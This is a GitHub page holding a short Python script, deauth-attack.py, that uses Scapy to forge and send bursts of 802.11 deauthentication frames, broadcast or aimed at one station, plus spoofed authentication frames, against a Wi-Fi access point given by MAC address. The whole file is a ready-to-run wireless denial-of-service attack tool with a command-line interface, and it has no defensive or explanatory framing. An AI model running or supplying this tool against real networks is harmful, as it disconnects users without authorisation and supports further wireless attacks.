-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathdeauth-attack.py
More file actions
56 lines (46 loc) · 1.9 KB
/
deauth-attack.py
File metadata and controls
56 lines (46 loc) · 1.9 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
from scapy.all import *
from scapy.layers.dot11 import Dot11, Dot11Deauth, Dot11Auth, RadioTap
import argparse
broadcast = "ff:ff:ff:ff:ff:ff"
def deauthAttack(interface, ap, station=None):
target = ""
gateway = ""
if station is None:
# AP broadcast
target = broadcast
gateway = ap
dot11 = Dot11(subtype=12, addr1=target, addr2=gateway, addr3=gateway)
pkt = RadioTap() / dot11 / Dot11Deauth(reason=7)
sendp(pkt, inter=0.1, count=100, iface=interface, verbose=1)
else:
# AP unicast
target = station
gateway = ap
dot11 = Dot11(subtype=12, addr1=target, addr2=gateway, addr3=gateway)
pkt = RadioTap() / dot11 / Dot11Deauth(reason=7)
sendp(pkt, inter=0.1, count=100, iface=interface, verbose=1)
# Station unicast
target = ap
gateway = station
dot11 = Dot11(subtype=12, addr1=target, addr2=gateway, addr3=gateway)
pkt = RadioTap() / dot11 / Dot11Deauth(reason=7)
sendp(pkt, inter=0.1, count=100, iface=interface, verbose=1)
def authAttack(interface, ap, station):
target = ap
gateway = station
pkt = RadioTap() / Dot11(type=0, subtype=11, addr1=target, addr2=gateway, addr3=gateway) / Dot11Auth(seqnum=1)
sendp(pkt, inter=0.1, count=50, iface=interface)
if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument('interface', help=' : Interface')
parser.add_argument('ap', metavar='MAC', help=' : AP MAC')
parser.add_argument('-c', metavar='MAC', help=' : Station MAC')
parser.add_argument('-auth', action='store_true', help=' : Auth Attack')
args = parser.parse_args()
if (args.interface is None) or (args.ap is None):
print("Insufficient Args")
else:
if args.auth:
authAttack(args.interface, args.ap, args.c)
else:
deauthAttack(args.interface, args.ap, args.c)